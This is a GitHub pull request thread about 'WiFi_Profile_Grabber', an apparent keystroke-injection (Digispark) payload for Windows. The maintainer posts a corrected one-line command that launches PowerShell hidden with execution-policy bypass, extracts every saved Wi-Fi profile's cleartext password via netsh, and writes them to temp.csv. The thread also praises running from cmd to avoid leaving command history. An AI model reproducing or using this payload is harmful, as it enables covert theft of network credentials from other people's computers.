Skip to content

Conversation

@Michyus
Copy link
Contributor

@Michyus Michyus commented May 26, 2019

Hi, I have tried to run WiFi_Profile_Grabber on Windows 10, but the temp.csv file was always empty even though there is WiFi network saved on my pc. I have edited code, so now it works for me - seems that problem was caused by \ being used instead of \\.
This problem is most likely connected to this issue #17.

I've only tested this script on my pc (WIndows 10) with only one WiFi network saved. I don't know if this will work on other versions of Windows too.

@CedArctic
Copy link
Owner

CedArctic commented Aug 3, 2019

@Michyus thanks for the PR! Sorry for the late reply, just got to checking my repos. You are right there were a bunch of \ that needed to be escaped properly as \. I saw your commit and I initially had it running from cmd because it launches faster than powershell on lower end machines and also doesn't keep a history of commands. So if you can, revert your commit to my original script and replace the problematic line with this and I will merge the PR:

DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv"));

@CedArctic CedArctic closed this Aug 10, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

2 participants